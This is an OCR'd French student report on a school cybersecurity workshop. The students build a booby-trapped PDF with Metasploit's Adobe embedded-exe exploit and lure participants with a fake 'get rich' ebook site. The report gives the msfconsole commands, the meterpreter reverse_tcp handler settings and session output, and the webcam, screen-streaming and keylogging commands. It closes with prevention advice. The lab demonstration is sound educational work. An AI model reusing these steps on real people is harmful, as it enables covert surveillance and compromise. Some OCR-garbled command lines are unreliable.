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Objectifs de ’atelier

L’atelier portait sur les virus transmis par pdf. Pour réaliser cela nous disposions
de 2 configurations : celle du groupe Yanis, Louai et Paco nommée “Virus” , et
celle des participants nommée “Utilisateurs”.

Sur le Pc “Virus”, a 'aide de commande trouvé grace a un TP destiné au
deuxiéme années fourni par Mr Naville. Nous avons infecté un fichier PDF de
notre choix

Le groupe “utilisateurs” était mis devant un site qui mettait a disposition 3
formations pour devenir riche grace au e-commerce (e-book) sous forme de PDF.
Une fois l'installation de notre virus sur la machine “utilisateur”, nous leur
présentons les différentes fonctionnalités accessibles avec le virus (Keylogger,
Webcam, diffusion de leur écran) . Leur objectif était d’identifier quelle formation
était infectée d’un virus. Nous avons ensuites échanger avec eux sur les
méthodes pour éviter les virus et se protéger (mettre a jour ses logiciel pour avoir
les nouveaux anti-virus, prudence dans les mails, vigilance sur les sites)

Matériels utilisés lors de I’ Atelier

Equipement PC Virus (Yanis) PC Utilisateurs
(Collegiens,
Lycéens)
Ordinateur 1 PC avec I'OS Kali Linux 1 PC avec I'OS
Windows 10 (sans
antivirus)
Périphériques Clavier, souris, écran, vidéo Clavier, souris,
projecteur (2°™ écran) écran, webcam
Autres Tables, Chaises, Multiprises, Cables
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Schéma de P’atelier
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Configuration du virus avec Kali Linux

Tout d'abord, sur la machine avec I'OS Kali Linux nous avons lancé la console de
Metasploit en utilisant la commande msfconsole.

Ensuite, nous avons recherché un exploit spécifique ciblant les fichiers PDF
Adobe sur les systémes Windows en utilisant la commande search type:exploit
platform:windows adobe pdf.

msf6é > search type:exploit platform:windows adobe pdf

Matching Modules

Name Disclosure Date
Check Description

exploit/windows/filef 't /adobe_1ibtiff 2010-02-16
No Adob el

exploit/wind
No Ad

exploit/wind
No Ad

exploit/wind

ormal
5

ormal
6 ex it/windows/fi
ormal Adobe Fla
7

a8

cell
9

Aprés avoir sélectionné I'exploit a utiliser pour notre attaque via fichier PDF, nous

avons exécuté la commande suivante dans Metasploit :

exploit/windows/fileformat/adobe pdf embedded exe.
H > oit/win 'filef ‘ado pdf_emb od_e

r/reverse_tcp

Cette commande permet de générer un fichier PDF malveillant qui intégre un
exécutable.

msfconsole

use exploit/windows/fileformat/adobe pdf embedded exe

set FILENAME virusi.pdf
set INFILENAME modele.pdf

Ensuite, le fichier PDF généré, il a été déplacé sur notre site Web
d’ebooks piégés, accessible par les participants de I'atelier.

Ensuite, une fois le virus créé et intégrée au site, nous avons configuré le
payload pour établir une connexion inversée via Meterpreter, en utilisant le
module multi/handler :
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msf6 exploit( ) > use exploit/multi/handler
Using configured payload windows/meterpreter/reverse_tcp

msf6 expinit[ - - ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf6 exploit( ) > set LHOST 192.168.10.200

LHOST => 192.168.10.200

msf6 exploit( ) > set LPORT 4444
LPORT => &4k

Ces parameétres définissent I'adresse IP de I'attaquant (LHOST) et le port utilisé
pour écouter la connexion entrante depuis la cible (LPORT).

Apres cette configuration, nous avons lancé I'écoute avec la commande :
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.10.200:4444

Sending stage (176198 bytes) to 192.168.10.130
Meterpreter session 5 opened (192.168.10.200:4444 -> 192.168.10.130:50438) at 2025-04-11 09:12:23 +0200

Le terminal indique alors que Metasploit est en attente de la connexion depuis la
cible. Une fois que la victime ouvre le fichier PDF piégé, la session Meterpreter
est automatiquement établie, comme visible dans la capture.

meterpreter >
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Scénario de Patelier Virus

L'atelier visait a montrer comment un fichier PDF infecté peut étre utilisé pour une
attaque.

Pour cela, nous avons utilisé un ordinateur tournant sous Kali Linux, avec
I'adresse IP 192.168.10.200

Notre objectif principal était de créer un fichier PDF intentionnellement infecté,
exploitant une faille spécifique dans la version d'Adobe Reader 8.1.1, ce qui
permettrait de faire fonctionner un logiciel malveillant a distance.

Voici le lien de téléchargement de la version d’adobe 8.1.1 possédant une faille de
securité : http://www.oldversion.com/windows/acrobat-reader-8-1-1

Trois fichiers PDF ont été créés, dont un seul a été intentionnellement infecté.
Les participants ont été invités a télécharger ces fichiers sur leurs machines
Windows en accédant directement a la page “Nos Ebooks” depuis le site codée
en HTML.

% CashEbook

82 TECHNIQUES M
POUR PLUS
D'ARGENT COMMENT J'AI GAGNE”

S$2 MILLIONS -/

EN3MOIS?

UN LIVRE DE :
A. ARTER
Comment j’ai gagné 2millions en 3 mois 2

L2

Les participants ont été invités a télécharger les 3 ebooks tout en ne sachant pas
lequel des 3 est infecté.
Une fois les 3 ebooks téléchargées,
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lIs ont été invitées a les sélectionner les 3 en méme temps afin de les ouvrir
simultanément

« A & » Téléchargements > v O Rechercher dans: Téléchar..
A Accueil Nom Modifié le Type Taille
~ Aujourd’hui

‘_HJ Galerie :
|E?_millions 15/04/2025 09:27 Adobe Acrobat D... 1
|-i ebook] 15/04/2025 09:27 Adobe Acrobat D...

2 Bureac =
| 1~| B2tech 15/04/2025 09:27 Adobe Acrobat D... 1

Une fois les 3 fichiers pdf ouverts avec la version 8.1.1 d’Adobe voici ce qui est
affichée, il faut donc enregistrer le fichier

T Specify a file to extract to x
Enregistrer dans : | —| Documerts v| [ 5 s
A MNem Modifié le Type
T ebookl 29/03/202510:29 Adob
Accueil
Bureau

Bibliotheques

CePC
Réseau

Mom du fichier : W | [ Enregistrer
Type : All Files (") R Annuler

Ici, il faut appuyer sur “Oui” afin de remplacer le fichier déja existant.
Save As s

The file already exists.

o ChlUsershAdministrateur\Documentstebookl. pdf
Replace existing file?

Chui Maon
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Et voici le dernier message qui est affiché, il faut sélectionner Open afin d’ouvrir
et de lancer le virus.

Launch: chwindows\system32hcmd.exe

The application "c\windowssystem32\cmd.exe /O /C S%HOMEDRIVE:8&cd 3HOMEPATHSLALU(I exist

! % "Desktophebookl.pdf" (cd "Desktop"))&(f exist "My Documents\ebookl.pdf" (cd "My Docurments"))&(if
exist "Documentsiebook].pdf” (cd "Documents")) &U(if exist "Escritorichebook].pdf” (cd "Escritoric")) 8(if
exist “Mis Documentosiebook].pdf” (cd "Mis Documentos”)) & (start ebook].pdf)

To view the encrypted content please tick the "Do not show this message again” box and press Open.” is set
to be launched by this POF file. The file may contain programs, macros, or viruses that could potentially
harm your computer. Only cpen the file if you are sure it is safe, If this file was placed by a trusted person or
program, you can click Open to view the file,

[ Do not show this message again

[ Do Mot Open ] Open

En réalité, ces demandes successives ne font que
confirmer I’ouverture du virus.

Une fois le fichier ebook1.pdf ouvert avec le virus, sur notre machine Kali, nous
recevons un message de Meterpreter.

Cela signifie que la machine cible a été compromise et que nous disposons
désormais d'un acceés distant a celle-ci, nous permettant d'exécuter des
commandes a distance.

Voici le message Meterpreter :
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.10.200:4444

Sending stage (176198 bytes) to 192.168.10.130
Meterpreter session 5 opened (192.168.10.200:4444 -> 192.168.10.130:50438) at 2025-04-11 09:12:23 +0200

On observe que la session meterpreter a été ouverte, on y voit aussi 'adresse ip
de votre machine attaquante ainsi que celle du pc ciblé ainsi que la date et
I’heure de I'ouverture du fichier et donc du déclenchement du virus.

Meterpreter est un outil de commande a distance et un interpréteur de shell qui
fait partie du framework Metasploit. Il est utilisé par les hackers pour accéder a
distance a des systémes compromis. Une fois qu'un systéme est infecté par un
malware, Meterpreter permet a I'attaquant d'exécuter des commandes sur ce
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systéme, de prendre le contrble de ses fonctionnalités, d'extraire des
informations sensibles et d'explorer le réseau.

Listes des commandes Meterpreter Utilisées

- Screenshare : Cette commande effectue une capture d’écran du PC Windows,

comme vous pouvez le voir ci-dessous le PC Attaquant retransmet au tableau

I'écran des participants.

meterpreter > screenshare
Preparing player...
Opening player at: /home/btssio/EPLkuCIM.html
Streaming...

«;“D briel
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- Webcam_stream : Cette commande affiche la webcam des participants au

tableau.

meterpreter > webcam_stream
Starting...
Preparing player...

Opening player at: /home/btssio/vvIiyvNE.html
Streaming...

- Keyscan_start: Cette commande agit en tant que keylogger

meterpreter > keyscan_start
Starting the keystroke sniffer ...

Une fois cette commande tapée toutes les lettres du clavier que 1’utilisateur va saisir vont
étre transmise une fois que j’aurais fais la commande suivante :

meterpreter > keyscan_dump
Dumping captured keystrokes...

salut

Comme on le voit, la personne a saisis “Salut”.
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Création du site avec Visual Studio Code

Pour la création de notre site mettant a disposition des formations pour devenir riche nous
avons utilisé trois langage de code différents, de 1I’html pour le site web, le css pour le
style et du javascript pour la créations des cards

< SITEEBOOK

e

> img

» pdf
contact.html
ebook.html
index. html

ind

Donc notre objectif était de créer un site a I’identique donc nous avions fais une page
d'accueil avec un paragraphe aguicheur, avec 1’acces a différentes pages comme “mention
1égal”, “contact”, et “card”.

€@ @ 127.0.0.1:5500findexhtm

% CashEbook Nos Ebook  Information légal  Contact

@ DEVENEZ RICHE GRACE A NOS EBOOKS ! @

# Vous en avez assez de galérer financiérement ? Vious révez de liberté, d'indépendance et d'un compte en banque qui explose ? #

Ne cherchez plus. Nos eBooks sont la clé de votre réussite financiére ! #

& Découvrez les secrets des millionnaires, des stratégies éprouvées et des méthodes simples, rapides et efficaces pour générer des revenus
massifs, méme en partant de zéro !

MR Ce que vous allez apprendre :

¥ Comment gagner de I'argent en ligne sans compétences techniques

¥ Les meilleures opportunités d'investissement pour maximiser vos profits

¥ Les secrets du e-commerce, du trading et des business passifs

¥ Comment automatiser vos revenus pour gagner de l'argent en dormant

@ Pourquoi nos eBooks sont uniques ? @

¥ Des stratégies testées et prouvées par des experts en finance

¥ Un accés immédiat : commencez dés aujourd’hui a batir votre empire
¥ Des résultats concrets en appliquant nos méthodes

® Arrétez de perdre votre temps ! Le monde appartient & ceux qui agissent. Rejoignez dés maintenant la communauté des gagnants ! ¢
@ Téléchargez nos eBooks MAINTENANT et prenez le contréle de votre avenir financier ! # ®

12°¢

= 3 o847
Plie fine AR DI g B
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Pour la fiabilité de notre site des pages comme mention légal et contact était
indispensable.

% CashEbook % CashEbook

Nous contacter Informations Légales

Si vous souhaitez nous joindre, voici les endroits ol vous pouvez le faire : 1, Editeu r du Site

Le site est édité par : TechCorp Solutions

Adresse : Shivaji Nagar, Pune, Maharashtra, 411005, Inde
Téléphone : +33 4 76 89 12 34

Email :

Capital social : 50 000 €

@Cashebook74000 Numéro SIRET : 987 654 321 00055

Numéro TVA intracommunautaire : FR34 987654321

Nos horaires de réponse : du lundi au vendredi de 9h a 18h.

@Cashebook74000

[©) Instagram  @Cashebook74000 2_ Hébergement

Le site est hébergé par : WebHost Pro
@Cashebook74000 Adresse : Gulberg lll, Lahore, Punjab, 54660, Pakistan
Téléphone : +33 4 84 23 45 67
Email :
Serveurs situés en Europe avec une infrastructure sécurisée certifiée ISO 2

3. Propriété intellectuelle

Et pour finir la page “nos ebook” faite grace a du javascript et css

IS indexs X card.css X

= iq(lexds D= css > card.css > 9g .navbar
®nst announcements — [ .card {
{ background-color: BMwhite;
border-radius: 1@px;
box-shadow: @ 4px 8px Olrgba(e, @, @, 8.1);
cursor: pointer;
overflow: hidden;
transition: transform 8.3s;
: "Tout sur le business en ligne”, width: 100%;
: "img/111.7pg", height: 35@px;
: 3647, display: flex;
“pdf/ebookl .pdf” flex-direction: column;
justify-content: space-between;

title: "82 techniques pour plus d’argent”,
image: "img/4.jpg".

likes: 2425,

Link: "pdf/82tech.pdf”

b
: "Comment j'ai gagné 2millions en 3 mois 27,
: "img/2m.jpg”, .card:hover {
1 1258, transform: scale(1.85);
“pdf/2millions. pdf”

1 180%;

on generateAnnouncements() { object-fit: cover;

const container = document.getElementByTd("announcements-container™); ¥
announcements. forEach(announcement =>
const card = document.createElement("div");
card.classList.add("card"); padding: 18px;
card.onclick = () => window.location.href = announcement.link; text-align: center;
flex-grow: 1;
const cardContent = ~ display: flex;
<a href="${announcement.link}" download> flex-direction: column;
<img src="${announcement.image}” alt="%{announcement.title}"> justify-content: space-betuween;
«div class="card-content™> 1
<h3>${announcement. title}</h3>
<p>${announcement.likes} Likes</p> .card-content h2 {
<div class="1likes"> W </div> font-size: lem;
</div>
</ax>

.card-content {

margin: 1@px @;
) color: [J#2C3E58;
card.innerHTML = cardContent;

container.appendChild{card);
.card-content p {

font-size: @.8em;
color: [J#555;
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Grace a ce code au moment ou l'utilisateur clique sur le ebook ca le télécharge
automatiquement sur la machine et I’ouvre en méme temps.

@ CashEbook Nos Ebook  Information légal  Contact

LOUS BELFORT

TOUT SUR LE
82 TECHNIQUES \
POUR PLUS i

D'ARGENT = COMMENT JAI GAGNE%
’ $2 MILLIONS

EN 3 MOIS ?

,’/
N UIVREDE:
A. ARTER

82 techniques pour plus d'argent fout sur le business en ligne Comment j'ai gagné 2millions en 3 mois ?

2425 Likes 3647 Likes 1258 Likes

L 2 L2

Rapport du Forum Cybersécurité 14



Louai, yanis, Paco

Moyen de prévention

Pour éviter ce type de probléme, on peut utiliser des logiciels comme Windows Defender,
le programme antivirus gratuit de Windows. Mais, pour la démonstration, on avait
désactivé Windows Defender. Si on I'avait laissé activer, le PDF infecté aurait été bloqué
des son ouverture.

Pour éviter une attaque via un PDF piégé, il est essentiel d’adopter plusieurs bonnes
pratiques de sécurité. Il faut tout d’abord éviter d’ouvrir des fichiers PDF provenant de
sources inconnues ou douteuses, notamment par mail ou via des sites non sécurisés.
L’utilisation d’un lecteur PDF sécurisé, comme Sumatra PDF, ou ’ouverture des fichiers
dans un environnement isolé (machine virtuelle, sandbox) permet de limiter les risques. Il
est également recommandé¢ de désactiver JavaScript dans les lecteurs PDF et de scanner
les fichiers avec un antivirus a jour avant de les ouvrir. Des outils d’analyse comme
VirusTotal ou PDF Examiner peuvent aussi €tre utilisés pour détecter d’éventuels scripts
malveillants. Enfin, il convient de désactiver les fonctions d’ouverture automatique des
picces jointes et de restreindre I’exécution de macros ou d’actions automatiques dans les
lecteurs PDF.
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Présentation

- College

Nous sommes partis pour le collége mercredi a 13:30 et nous sommes arrivés a 14:00.
Nous étions venu une apres midi en avance pour installé notre atelier, cela nous a pris
environ 30 minutes mais rallongé dii a un probléme de réseaux. Le format était de 10
minutes par groupe. Nous sommes partis pour commencer la journée Jeudi. Le début a été
un peu compliqué car il nous a fallu prendre nos reperes sur la gestion du temps.
Cependant une fois nos repere pris, 1’atelier s’est trés bien déroulé le jeudi et vendredi.Les
¢léves se sont montrés intéressés et dynamiques, ce qui nous a facilité les choses.

- Lycée

Sur cette journée, nous avons effectué la présentation pour plusieurs groupes. Les éléves
¢taient intéressés et a 1'écoute. Nous avons méme eu l'occasion d'échanger avec des futurs
¢léves de BTS SIO. Cette journée s'est trés bien déroulée dans l'ensemble, que ce soit en
termes de gestion du temps, d'explication orale ou de déroulement de l'atelier lui-méme.

Conclusion

Ces deux ateliers ont été une super expérience dont nous ne retenons que du positif. s
nous ont permis de renforcer notre autonomie dans la recherche, de développer nos
compétences en configuration de postes informatiques, et d’améliorer notre aisance a
I’oral. C’était a la fois enrichissant et motivant, et nous serions ravis de pouvoir participer
a un nouvel atelier ’année prochaine.
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